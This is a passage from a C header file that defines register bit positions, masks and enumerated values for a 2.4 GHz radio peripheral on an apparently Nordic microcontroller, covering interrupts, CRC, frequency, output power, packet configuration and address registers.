/* Register: RADIO_INTENSET */
/* Description: Enable interrupt */
/* Bit 13 : Write '1' to Enable interrupt for CRCERROR event */
#define RADIO_INTENSET_CRCERROR_Pos (13UL) /*!< Position of CRCERROR field. */
#define RADIO_INTENSET_CRCERROR_Msk (0x1UL << RADIO_INTENSET_CRCERROR_Pos) /*!< Bit mask of CRCERROR field. */
#define RADIO_INTENSET_CRCERROR_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENSET_CRCERROR_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENSET_CRCERROR_Set (1UL) /*!< Enable */
/* Bit 12 : Write '1' to Enable interrupt for CRCOK event */
#define RADIO_INTENSET_CRCOK_Pos (12UL) /*!< Position of CRCOK field. */
#define RADIO_INTENSET_CRCOK_Msk (0x1UL << RADIO_INTENSET_CRCOK_Pos) /*!< Bit mask of CRCOK field. */
#define RADIO_INTENSET_CRCOK_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENSET_CRCOK_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENSET_CRCOK_Set (1UL) /*!< Enable */
/* Bit 10 : Write '1' to Enable interrupt for BCMATCH event */
#define RADIO_INTENSET_BCMATCH_Pos (10UL) /*!< Position of BCMATCH field. */
#define RADIO_INTENSET_BCMATCH_Msk (0x1UL << RADIO_INTENSET_BCMATCH_Pos) /*!< Bit mask of BCMATCH field. */
#define RADIO_INTENSET_BCMATCH_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENSET_BCMATCH_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENSET_BCMATCH_Set (1UL) /*!< Enable */
/* Bit 7 : Write '1' to Enable interrupt for RSSIEND event */
#define RADIO_INTENSET_RSSIEND_Pos (7UL) /*!< Position of RSSIEND field. */
#define RADIO_INTENSET_RSSIEND_Msk (0x1UL << RADIO_INTENSET_RSSIEND_Pos) /*!< Bit mask of RSSIEND field. */
#define RADIO_INTENSET_RSSIEND_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENSET_RSSIEND_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENSET_RSSIEND_Set (1UL) /*!< Enable */
/* Bit 6 : Write '1' to Enable interrupt for DEVMISS event */
#define RADIO_INTENSET_DEVMISS_Pos (6UL) /*!< Position of DEVMISS field. */
#define RADIO_INTENSET_DEVMISS_Msk (0x1UL << RADIO_INTENSET_DEVMISS_Pos) /*!< Bit mask of DEVMISS field. */
#define RADIO_INTENSET_DEVMISS_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENSET_DEVMISS_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENSET_DEVMISS_Set (1UL) /*!< Enable */
/* Bit 5 : Write '1' to Enable interrupt for DEVMATCH event */
#define RADIO_INTENSET_DEVMATCH_Pos (5UL) /*!< Position of DEVMATCH field. */
#define RADIO_INTENSET_DEVMATCH_Msk (0x1UL << RADIO_INTENSET_DEVMATCH_Pos) /*!< Bit mask of DEVMATCH field. */
#define RADIO_INTENSET_DEVMATCH_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENSET_DEVMATCH_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENSET_DEVMATCH_Set (1UL) /*!< Enable */
/* Bit 4 : Write '1' to Enable interrupt for DISABLED event */
#define RADIO_INTENSET_DISABLED_Pos (4UL) /*!< Position of DISABLED field. */
#define RADIO_INTENSET_DISABLED_Msk (0x1UL << RADIO_INTENSET_DISABLED_Pos) /*!< Bit mask of DISABLED field. */
#define RADIO_INTENSET_DISABLED_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENSET_DISABLED_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENSET_DISABLED_Set (1UL) /*!< Enable */
/* Bit 3 : Write '1' to Enable interrupt for END event */
#define RADIO_INTENSET_END_Pos (3UL) /*!< Position of END field. */
#define RADIO_INTENSET_END_Msk (0x1UL << RADIO_INTENSET_END_Pos) /*!< Bit mask of END field. */
#define RADIO_INTENSET_END_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENSET_END_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENSET_END_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for PAYLOAD event */
#define RADIO_INTENSET_PAYLOAD_Pos (2UL) /*!< Position of PAYLOAD field. */
#define RADIO_INTENSET_PAYLOAD_Msk (0x1UL << RADIO_INTENSET_PAYLOAD_Pos) /*!< Bit mask of PAYLOAD field. */
#define RADIO_INTENSET_PAYLOAD_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENSET_PAYLOAD_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENSET_PAYLOAD_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for ADDRESS event */
#define RADIO_INTENSET_ADDRESS_Pos (1UL) /*!< Position of ADDRESS field. */
#define RADIO_INTENSET_ADDRESS_Msk (0x1UL << RADIO_INTENSET_ADDRESS_Pos) /*!< Bit mask of ADDRESS field. */
#define RADIO_INTENSET_ADDRESS_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENSET_ADDRESS_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENSET_ADDRESS_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for READY event */
#define RADIO_INTENSET_READY_Pos (0UL) /*!< Position of READY field. */
#define RADIO_INTENSET_READY_Msk (0x1UL << RADIO_INTENSET_READY_Pos) /*!< Bit mask of READY field. */
#define RADIO_INTENSET_READY_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENSET_READY_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENSET_READY_Set (1UL) /*!< Enable */
/* Register: RADIO_INTENCLR */
/* Description: Disable interrupt */
/* Bit 13 : Write '1' to Disable interrupt for CRCERROR event */
#define RADIO_INTENCLR_CRCERROR_Pos (13UL) /*!< Position of CRCERROR field. */
#define RADIO_INTENCLR_CRCERROR_Msk (0x1UL << RADIO_INTENCLR_CRCERROR_Pos) /*!< Bit mask of CRCERROR field. */
#define RADIO_INTENCLR_CRCERROR_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENCLR_CRCERROR_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENCLR_CRCERROR_Clear (1UL) /*!< Disable */
/* Bit 12 : Write '1' to Disable interrupt for CRCOK event */
#define RADIO_INTENCLR_CRCOK_Pos (12UL) /*!< Position of CRCOK field. */
#define RADIO_INTENCLR_CRCOK_Msk (0x1UL << RADIO_INTENCLR_CRCOK_Pos) /*!< Bit mask of CRCOK field. */
#define RADIO_INTENCLR_CRCOK_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENCLR_CRCOK_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENCLR_CRCOK_Clear (1UL) /*!< Disable */
/* Bit 10 : Write '1' to Disable interrupt for BCMATCH event */
#define RADIO_INTENCLR_BCMATCH_Pos (10UL) /*!< Position of BCMATCH field. */
#define RADIO_INTENCLR_BCMATCH_Msk (0x1UL << RADIO_INTENCLR_BCMATCH_Pos) /*!< Bit mask of BCMATCH field. */
#define RADIO_INTENCLR_BCMATCH_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENCLR_BCMATCH_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENCLR_BCMATCH_Clear (1UL) /*!< Disable */
/* Bit 7 : Write '1' to Disable interrupt for RSSIEND event */
#define RADIO_INTENCLR_RSSIEND_Pos (7UL) /*!< Position of RSSIEND field. */
#define RADIO_INTENCLR_RSSIEND_Msk (0x1UL << RADIO_INTENCLR_RSSIEND_Pos) /*!< Bit mask of RSSIEND field. */
#define RADIO_INTENCLR_RSSIEND_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENCLR_RSSIEND_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENCLR_RSSIEND_Clear (1UL) /*!< Disable */
/* Bit 6 : Write '1' to Disable interrupt for DEVMISS event */
#define RADIO_INTENCLR_DEVMISS_Pos (6UL) /*!< Position of DEVMISS field. */
#define RADIO_INTENCLR_DEVMISS_Msk (0x1UL << RADIO_INTENCLR_DEVMISS_Pos) /*!< Bit mask of DEVMISS field. */
#define RADIO_INTENCLR_DEVMISS_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENCLR_DEVMISS_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENCLR_DEVMISS_Clear (1UL) /*!< Disable */
/* Bit 5 : Write '1' to Disable interrupt for DEVMATCH event */
#define RADIO_INTENCLR_DEVMATCH_Pos (5UL) /*!< Position of DEVMATCH field. */
#define RADIO_INTENCLR_DEVMATCH_Msk (0x1UL << RADIO_INTENCLR_DEVMATCH_Pos) /*!< Bit mask of DEVMATCH field. */
#define RADIO_INTENCLR_DEVMATCH_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENCLR_DEVMATCH_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENCLR_DEVMATCH_Clear (1UL) /*!< Disable */
/* Bit 4 : Write '1' to Disable interrupt for DISABLED event */
#define RADIO_INTENCLR_DISABLED_Pos (4UL) /*!< Position of DISABLED field. */
#define RADIO_INTENCLR_DISABLED_Msk (0x1UL << RADIO_INTENCLR_DISABLED_Pos) /*!< Bit mask of DISABLED field. */
#define RADIO_INTENCLR_DISABLED_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENCLR_DISABLED_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENCLR_DISABLED_Clear (1UL) /*!< Disable */
/* Bit 3 : Write '1' to Disable interrupt for END event */
#define RADIO_INTENCLR_END_Pos (3UL) /*!< Position of END field. */
#define RADIO_INTENCLR_END_Msk (0x1UL << RADIO_INTENCLR_END_Pos) /*!< Bit mask of END field. */
#define RADIO_INTENCLR_END_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENCLR_END_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENCLR_END_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for PAYLOAD event */
#define RADIO_INTENCLR_PAYLOAD_Pos (2UL) /*!< Position of PAYLOAD field. */
#define RADIO_INTENCLR_PAYLOAD_Msk (0x1UL << RADIO_INTENCLR_PAYLOAD_Pos) /*!< Bit mask of PAYLOAD field. */
#define RADIO_INTENCLR_PAYLOAD_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENCLR_PAYLOAD_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENCLR_PAYLOAD_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for ADDRESS event */
#define RADIO_INTENCLR_ADDRESS_Pos (1UL) /*!< Position of ADDRESS field. */
#define RADIO_INTENCLR_ADDRESS_Msk (0x1UL << RADIO_INTENCLR_ADDRESS_Pos) /*!< Bit mask of ADDRESS field. */
#define RADIO_INTENCLR_ADDRESS_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENCLR_ADDRESS_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENCLR_ADDRESS_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for READY event */
#define RADIO_INTENCLR_READY_Pos (0UL) /*!< Position of READY field. */
#define RADIO_INTENCLR_READY_Msk (0x1UL << RADIO_INTENCLR_READY_Pos) /*!< Bit mask of READY field. */
#define RADIO_INTENCLR_READY_Disabled (0UL) /*!< Read: Disabled */
#define RADIO_INTENCLR_READY_Enabled (1UL) /*!< Read: Enabled */
#define RADIO_INTENCLR_READY_Clear (1UL) /*!< Disable */
/* Register: RADIO_CRCSTATUS */
/* Description: CRC status */
/* Bit 0 : CRC status of packet received */
#define RADIO_CRCSTATUS_CRCSTATUS_Pos (0UL) /*!< Position of CRCSTATUS field. */
#define RADIO_CRCSTATUS_CRCSTATUS_Msk (0x1UL << RADIO_CRCSTATUS_CRCSTATUS_Pos) /*!< Bit mask of CRCSTATUS field. */
#define RADIO_CRCSTATUS_CRCSTATUS_CRCError (0UL) /*!< Packet received with CRC error */
#define RADIO_CRCSTATUS_CRCSTATUS_CRCOk (1UL) /*!< Packet received with CRC ok */
/* Register: RADIO_RXMATCH */
/* Description: Received address */
/* Bits 2..0 : Received address */
#define RADIO_RXMATCH_RXMATCH_Pos (0UL) /*!< Position of RXMATCH field. */
#define RADIO_RXMATCH_RXMATCH_Msk (0x7UL << RADIO_RXMATCH_RXMATCH_Pos) /*!< Bit mask of RXMATCH field. */
/* Register: RADIO_RXCRC */
/* Description: CRC field of previously received packet */
/* Bits 23..0 : CRC field of previously received packet */
#define RADIO_RXCRC_RXCRC_Pos (0UL) /*!< Position of RXCRC field. */
#define RADIO_RXCRC_RXCRC_Msk (0xFFFFFFUL << RADIO_RXCRC_RXCRC_Pos) /*!< Bit mask of RXCRC field. */
/* Register: RADIO_DAI */
/* Description: Device address match index */
/* Bits 2..0 : Device address match index */
#define RADIO_DAI_DAI_Pos (0UL) /*!< Position of DAI field. */
#define RADIO_DAI_DAI_Msk (0x7UL << RADIO_DAI_DAI_Pos) /*!< Bit mask of DAI field. */
/* Register: RADIO_PACKETPTR */
/* Description: Packet pointer */
/* Bits 31..0 : Packet pointer */
#define RADIO_PACKETPTR_PACKETPTR_Pos (0UL) /*!< Position of PACKETPTR field. */
#define RADIO_PACKETPTR_PACKETPTR_Msk (0xFFFFFFFFUL << RADIO_PACKETPTR_PACKETPTR_Pos) /*!< Bit mask of PACKETPTR field. */
/* Register: RADIO_FREQUENCY */
/* Description: Frequency */
/* Bit 8 : Channel map selection. */
#define RADIO_FREQUENCY_MAP_Pos (8UL) /*!< Position of MAP field. */
#define RADIO_FREQUENCY_MAP_Msk (0x1UL << RADIO_FREQUENCY_MAP_Pos) /*!< Bit mask of MAP field. */
#define RADIO_FREQUENCY_MAP_Default (0UL) /*!< Channel map between 2400 MHZ .. 2500 MHz */
#define RADIO_FREQUENCY_MAP_Low (1UL) /*!< Channel map between 2360 MHZ .. 2460 MHz */
/* Bits 6..0 : Radio channel frequency */
#define RADIO_FREQUENCY_FREQUENCY_Pos (0UL) /*!< Position of FREQUENCY field. */
#define RADIO_FREQUENCY_FREQUENCY_Msk (0x7FUL << RADIO_FREQUENCY_FREQUENCY_Pos) /*!< Bit mask of FREQUENCY field. */
/* Register: RADIO_TXPOWER */
/* Description: Output power */
/* Bits 7..0 : RADIO output power. */
#define RADIO_TXPOWER_TXPOWER_Pos (0UL) /*!< Position of TXPOWER field. */
#define RADIO_TXPOWER_TXPOWER_Msk (0xFFUL << RADIO_TXPOWER_TXPOWER_Pos) /*!< Bit mask of TXPOWER field. */
#define RADIO_TXPOWER_TXPOWER_0dBm (0x00UL) /*!< 0 dBm */
#define RADIO_TXPOWER_TXPOWER_Pos3dBm (0x03UL) /*!< +3 dBm */
#define RADIO_TXPOWER_TXPOWER_Pos4dBm (0x04UL) /*!< +4 dBm */
#define RADIO_TXPOWER_TXPOWER_Neg30dBm (0xD8UL) /*!< Deprecated enumerator - -40 dBm */
#define RADIO_TXPOWER_TXPOWER_Neg40dBm (0xD8UL) /*!< -40 dBm */
#define RADIO_TXPOWER_TXPOWER_Neg20dBm (0xECUL) /*!< -20 dBm */
#define RADIO_TXPOWER_TXPOWER_Neg16dBm (0xF0UL) /*!< -16 dBm */
#define RADIO_TXPOWER_TXPOWER_Neg12dBm (0xF4UL) /*!< -12 dBm */
#define RADIO_TXPOWER_TXPOWER_Neg8dBm (0xF8UL) /*!< -8 dBm */
#define RADIO_TXPOWER_TXPOWER_Neg4dBm (0xFCUL) /*!< -4 dBm */
/* Register: RADIO_MODE */
/* Description: Data rate and modulation */
/* Bits 3..0 : Radio data rate and modulation setting. The radio supports Frequency-shift Keying (FSK) modulation. */
#define RADIO_MODE_MODE_Pos (0UL) /*!< Position of MODE field. */
#define RADIO_MODE_MODE_Msk (0xFUL << RADIO_MODE_MODE_Pos) /*!< Bit mask of MODE field. */
#define RADIO_MODE_MODE_Nrf_1Mbit (0UL) /*!< 1 Mbit/s Nordic proprietary radio mode */
#define RADIO_MODE_MODE_Nrf_2Mbit (1UL) /*!< 2 Mbit/s Nordic proprietary radio mode */
#define RADIO_MODE_MODE_Nrf_250Kbit (2UL) /*!< Deprecated enumerator - 250 kbit/s Nordic proprietary radio mode */
#define RADIO_MODE_MODE_Ble_1Mbit (3UL) /*!< 1 Mbit/s Bluetooth Low Energy */
/* Register: RADIO_PCNF0 */
/* Description: Packet configuration register 0 */
/* Bit 24 : Length of preamble on air. Decision point: TASKS_START task */
#define RADIO_PCNF0_PLEN_Pos (24UL) /*!< Position of PLEN field. */
#define RADIO_PCNF0_PLEN_Msk (0x1UL << RADIO_PCNF0_PLEN_Pos) /*!< Bit mask of PLEN field. */
#define RADIO_PCNF0_PLEN_8bit (0UL) /*!< 8-bit preamble */
#define RADIO_PCNF0_PLEN_16bit (1UL) /*!< 16-bit preamble */
/* Bit 20 : Include or exclude S1 field in RAM */
#define RADIO_PCNF0_S1INCL_Pos (20UL) /*!< Position of S1INCL field. */
#define RADIO_PCNF0_S1INCL_Msk (0x1UL << RADIO_PCNF0_S1INCL_Pos) /*!< Bit mask of S1INCL field. */
#define RADIO_PCNF0_S1INCL_Automatic (0UL) /*!< Include S1 field in RAM only if S1LEN > 0 */
#define RADIO_PCNF0_S1INCL_Include (1UL) /*!< Always include S1 field in RAM independent of S1LEN */
/* Bits 19..16 : Length on air of S1 field in number of bits. */
#define RADIO_PCNF0_S1LEN_Pos (16UL) /*!< Position of S1LEN field. */
#define RADIO_PCNF0_S1LEN_Msk (0xFUL << RADIO_PCNF0_S1LEN_Pos) /*!< Bit mask of S1LEN field. */
/* Bit 8 : Length on air of S0 field in number of bytes. */
#define RADIO_PCNF0_S0LEN_Pos (8UL) /*!< Position of S0LEN field. */
#define RADIO_PCNF0_S0LEN_Msk (0x1UL << RADIO_PCNF0_S0LEN_Pos) /*!< Bit mask of S0LEN field. */
/* Bits 3..0 : Length on air of LENGTH field in number of bits. */
#define RADIO_PCNF0_LFLEN_Pos (0UL) /*!< Position of LFLEN field. */
#define RADIO_PCNF0_LFLEN_Msk (0xFUL << RADIO_PCNF0_LFLEN_Pos) /*!< Bit mask of LFLEN field. */
/* Register: RADIO_PCNF1 */
/* Description: Packet configuration register 1 */
/* Bit 25 : Enable or disable packet whitening */
#define RADIO_PCNF1_WHITEEN_Pos (25UL) /*!< Position of WHITEEN field. */
#define RADIO_PCNF1_WHITEEN_Msk (0x1UL << RADIO_PCNF1_WHITEEN_Pos) /*!< Bit mask of WHITEEN field. */
#define RADIO_PCNF1_WHITEEN_Disabled (0UL) /*!< Disable */
#define RADIO_PCNF1_WHITEEN_Enabled (1UL) /*!< Enable */
/* Bit 24 : On air endianness of packet, this applies to the S0, LENGTH, S1 and the PAYLOAD fields. */
#define RADIO_PCNF1_ENDIAN_Pos (24UL) /*!< Position of ENDIAN field. */
#define RADIO_PCNF1_ENDIAN_Msk (0x1UL << RADIO_PCNF1_ENDIAN_Pos) /*!< Bit mask of ENDIAN field. */
#define RADIO_PCNF1_ENDIAN_Little (0UL) /*!< Least Significant bit on air first */
#define RADIO_PCNF1_ENDIAN_Big (1UL) /*!< Most significant bit on air first */
/* Bits 18..16 : Base address length in number of bytes */
#define RADIO_PCNF1_BALEN_Pos (16UL) /*!< Position of BALEN field. */
#define RADIO_PCNF1_BALEN_Msk (0x7UL << RADIO_PCNF1_BALEN_Pos) /*!< Bit mask of BALEN field. */
/* Bits 15..8 : Static length in number of bytes */
#define RADIO_PCNF1_STATLEN_Pos (8UL) /*!< Position of STATLEN field. */
#define RADIO_PCNF1_STATLEN_Msk (0xFFUL << RADIO_PCNF1_STATLEN_Pos) /*!< Bit mask of STATLEN field. */
/* Bits 7..0 : Maximum length of packet payload. If the packet payload is larger than MAXLEN, the radio will truncate the payload to MAXLEN. */
#define RADIO_PCNF1_MAXLEN_Pos (0UL) /*!< Position of MAXLEN field. */
#define RADIO_PCNF1_MAXLEN_Msk (0xFFUL << RADIO_PCNF1_MAXLEN_Pos) /*!< Bit mask of MAXLEN field. */
/* Register: RADIO_BASE0 */
/* Description: Base address 0 */
/* Bits 31..0 : Base address 0 */
#define RADIO_BASE0_BASE0_Pos (0UL) /*!< Position of BASE0 field. */
#define RADIO_BASE0_BASE0_Msk (0xFFFFFFFFUL << RADIO_BASE0_BASE0_Pos) /*!< Bit mask of BASE0 field. */
/* Register: RADIO_BASE1 */
/* Description: Base address 1 */
/* Bits 31..0 : Base address 1 */
#define RADIO_BASE1_BASE1_Pos (0UL) /*!< Position of BASE1 field. */
#define RADIO_BASE1_BASE1_Msk (0xFFFFFFFFUL << RADIO_BASE1_BASE1_Pos) /*!< Bit mask of BASE1 field. */
/* Register: RADIO_PREFIX0 */
/* Description: Prefixes bytes for logical addresses 0-3 */
/* Bits 31..24 : Address prefix 3. */
#define RADIO_PREFIX0_AP3_Pos (24UL) /*!< Position of AP3 field. */
#define RADIO_PREFIX0_AP3_Msk (0xFFUL << RADIO_PREFIX0_AP3_Pos) /*!< Bit mask of AP3 field. */
/* Bits 23..16 : Address prefix 2. */
#define RADIO_PREFIX0_AP2_Pos (16UL) /*!< Position of AP2 field. */
#define RADIO_PREFIX0_AP2_Msk (0xFFUL << RADIO_PREFIX0_AP2_Pos) /*!< Bit mask of AP2 field. */
/* Bits 15..8 : Address prefix 1. */
#define RADIO_PREFIX0_AP1_Pos (8UL) /*!< Position of AP1 field. */
#define RADIO_PREFIX0_AP1_Msk (0xFFUL << RADIO_PREFIX0_AP1_Pos) /*!< Bit mask of AP1 field. */
/* Bits 7..0 : Address prefix 0. */
#define RADIO_PREFIX0_AP0_Pos (0UL) /*!< Position of AP0 field. */
#define RADIO_PREFIX0_AP0_Msk (0xFFUL << RADIO_PREFIX0_AP0_Pos) /*!< Bit mask of AP0 field. */
/* Register: RADIO_PREFIX1 */
/* Description: Prefixes bytes for logical addresses 4-7 */
/* Bits 31..24 : Address prefix 7. */
#define RADIO_PREFIX1_AP7_Pos (24UL) /*!< Position of AP7 field. */
#define RADIO_PREFIX1_AP7_Msk (0xFFUL << RADIO_PREFIX1_AP7_Pos) /*!< Bit mask of AP7 field. */
/* Bits 23..16 : Address prefix 6. */
#define RADIO_PREFIX1_AP6_Pos (16UL) /*!< Position of AP6 field. */
#define RADIO_PREFIX1_AP6_Msk (0xFFUL << RADIO_PREFIX1_AP6_Pos) /*!< Bit mask of AP6 field. */
/* Bits 15..8 : Address prefix 5. */
#define RADIO_PREFIX1_AP5_Pos (8UL) /*!< Position of AP5 field. */
#define RADIO_PREFIX1_AP5_Msk (0xFFUL << RADIO_PREFIX1_AP5_Pos) /*!< Bit mask of AP5 field. */
/* Bits 7..0 : Address prefix 4. */
#define RADIO_PREFIX1_AP4_Pos (0UL) /*!< Position of AP4 field. */
#define RADIO_PREFIX1_AP4_Msk (0xFFUL << RADIO_PREFIX1_AP4_Pos) /*!< Bit mask of AP4 field. */
/* Register: RADIO_TXADDRESS */
/* Description: Transmit address select */
/* Bits 2..0 : Transmit address select */
#define RADIO_TXADDRESS_TXADDRESS_Pos (0UL) /*!< Position of TXADDRESS field. */
#define RADIO_TXADDRESS_TXADDRESS_Msk (0x7UL << RADIO_TXADDRESS_TXADDRESS_Pos) /*!< Bit mask of TXADDRESS field. */
/* Register: RADIO_RXADDRESSES */
/* Description: Receive address select */
/* Bit 7 : Enable or disable reception on logical address 7. */
#define RADIO_RXADDRESSES_ADDR7_Pos (7UL) /*!< Position of ADDR7 field. */
#define RADIO_RXADDRESSES_ADDR7_Msk (0x1UL << RADIO_RXADDRESSES_ADDR7_Pos) /*!< Bit mask of ADDR7 field. */
#define RADIO_RXADDRESSES_ADDR7_Disabled (0UL) /*!< Disable */
#define RADIO_RXADDRESSES_ADDR7_Enabled (1UL) /*!< Enable */
/* Bit 6 : Enable or disable reception on logical address 6. */
#define RADIO_RXADDRESSES_ADDR6_Pos (6UL) /*!< Position of ADDR6 field. */
#define RADIO_RXADDRESSES_ADDR6_Msk (0x1UL << RADIO_RXADDRESSES_ADDR6_Pos) /*!< Bit mask of ADDR6 field. */
#define RADIO_RXADDRESSES_ADDR6_Disabled (0UL) /*!< Disable */
#define RADIO_RXADDRESSES_ADDR6_Enabled (1UL) /*!< Enable */
/* Bit 5 : Enable or disable reception on logical address 5. */
#define RADIO_RXADDRESSES_ADDR5_Pos (5UL) /*!< Position of ADDR5 field. */
#define RADIO_RXADDRESSES_ADDR5_Msk (0x1UL << RADIO_RXADDRESSES_ADDR5_Pos) /*!< Bit mask of ADDR5 field. */
#define RADIO_RXADDRESSES_ADDR5_Disabled (0UL) /*!< Disable */
#define RADIO_RXADDRESSES_ADDR5_Enabled (1UL) /*!< Enable */
/* Bit 4 : Enable or disable reception on logical address 4. */
#define RADIO_RXADDRESSES_ADDR4_Pos (4UL) /*!< Position of ADDR4 field. */
#define RADIO_RXADDRESSES_ADDR4_Msk (0x1UL << RADIO_RXADDRESSES_ADDR4_Pos) /*!< Bit mask of ADDR4 field. */
#define RADIO_RXADDRESSES_ADDR4_Disabled (0UL) /*!< Disable */
#define RADIO_RXADDRESSES_ADDR4_Enabled (1UL) /*!< Enable */
/* Bit 3 : Enable or disable reception on logical address 3. */
#define RADIO_RXADDRESSES_ADDR3_Pos (3UL) /*!< Position of ADDR3 field. */
#define RADIO_RXADDRESSES_ADDR3_Msk (0x1UL << RADIO_RXADDRESSES_ADDR3_Pos) /*!< Bit mask of ADDR3 field. */
#define RADIO_RXADDRESSES_ADDR3_Disabled (0UL) /*!< Disable */
#define RADIO_RXADDRESSES_ADDR3_Enabled (1UL) /*!< Enable */
/* Bit 2 : Enable or disable reception on logical address 2. */
#define RADIO_RXADDRESSES_ADDR2_Pos (2UL) /*!< Position of ADDR2 field. */
#define RADIO_RXADDRESSES_ADDR2_Msk (0x1UL << RADIO_RXADDRESSES_ADDR2_Pos) /*!< Bit mask of ADDR2 field. */
#define RADIO_RXADDRESSES_ADDR2_Disabled (0UL) /*!< Disable */
#define RADIO_RXADDRESSES_ADDR2_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable reception on logical address 1. */
#define RADIO_RXADDRESSES_ADDR1_Pos (1UL) /*!< Position of ADDR1 field. */
#define RADIO_RXADDRESSES_ADDR1_Msk (0x1UL << RADIO_RXADDRESSES_ADDR1_Pos) /*!< Bit mask of ADDR1 field. */
#define RADIO_RXADDRESSES_ADDR1_Disabled (0UL) /*!< Disable */
#define RADIO_RXADDRESSES_ADDR1_Enabled (1UL) /*!< Enable */
/* Bit 0 : Enable or disable reception on logical address 0. */
#define RADIO_RXADDRESSES_ADDR0_Pos (0UL) /*!< Position of ADDR0 field. */
#define RADIO_RXADDRESSES_ADDR0_Msk (0x1UL << RADIO_RXADDRESSES_ADDR0_Pos) /*!< Bit mask of ADDR0 field. */
#define RADIO_RXADDRESSES_ADDR0_Disabled (0UL) /*!< Disable */
#define RADIO_RXADDRESSES_ADDR0_Enabled (1UL) /*!< Enable */
/* Register: RADIO_CRCCNF */
/* Description: CRC configuration */
/* Bit 8 : Include or exclude packet address field out of CRC calculation. */
#define RADIO_CRCCNF_SKIPADDR_Pos (8UL) /*!< Position of SKIPADDR field. */
#define RADIO_CRCCNF_SKIPADDR_Msk (0x1UL << RADIO_CRCCNF_SKIPADDR_Pos) /*!< Bit mask of SKIPADDR field. */
#define RADIO_CRCCNF_SKIPADDR_Include (0UL) /*!< CRC calculation includes address field */
#define RADIO_CRCCNF_SKIPADDR_Skip (1UL) /*!< CRC calculation does not include address field. The CRC calculation will start at the first byte after the address. */
/* Bits 1..0 : CRC length in number of bytes. */
#define RADIO_CRCCNF_LEN_Pos (0UL) /*!< Position of LEN field. */
#define RADIO_CRCCNF_LEN_Msk (0x3UL << RADIO_CRCCNF_LEN_Pos) /*!< Bit mask of LEN field. */
#define RADIO_CRCCNF_LEN_Disabled (0UL) /*!< CRC length is zero and CRC calculation is disabled */
#define RADIO_CRCCNF_LEN_One (1UL) /*!< CRC length is one byte and CRC calculation is enabled */
#define RADIO_CRCCNF_LEN_Two (2UL) /*!< CRC length is two bytes and CRC calculation is enabled */
#define RADIO_CRCCNF_LEN_Three (3UL) /*!< CRC length is three bytes and CRC calculation is enabled */
/* Register: RADIO_CRCPOLY */
/* Description: CRC polynomial */
/* Bits 23..0 : CRC polynomial */
#define RADIO_CRCPOLY_CRCPOLY_Pos (0UL) /*!< Position of CRCPOLY field. */
#define RADIO_CRCPOLY_CRCPOLY_Msk (0xFFFFFFUL << RADIO_CRCPOLY_CRCPOLY_Pos) /*!< Bit mask of CRCPOLY field. */
/* Register: RADIO_CRCINIT */
/* Description: CRC initial value */
/* Bits 23..0 : CRC initial value */
#define RADIO_CRCINIT_CRCINIT_Pos (0UL) /*!< Position of CRCINIT field. */
#define RADIO_CRCINIT_CRCINIT_Msk (0xFFFFFFUL << RADIO_CRCINIT_CRCINIT_Pos) /*!< Bit mask of CRCINIT field. */
/* Register: RADIO_TIFS */
/* Description: Inter Frame Spacing in us */
/* Bits 7..0 : Inter Frame Spacing in us */
#define RADIO_TIFS_TIFS_Pos (0UL) /*!< Position of TIFS field. */
#define RADIO_TIFS_TIFS_Msk (0xFFUL << RADIO_TIFS_TIFS_Pos) /*!< Bit mask of TIFS field. */
/* Register: RADIO_RSSISAMPLE */
/* Description: RSSI sample */
/* Bits 6..0 : RSSI sample */
#define RADIO_RSSISAMPLE_RSSISAMPLE_Pos (0UL) /*!< Position of RSSISAMPLE field. */
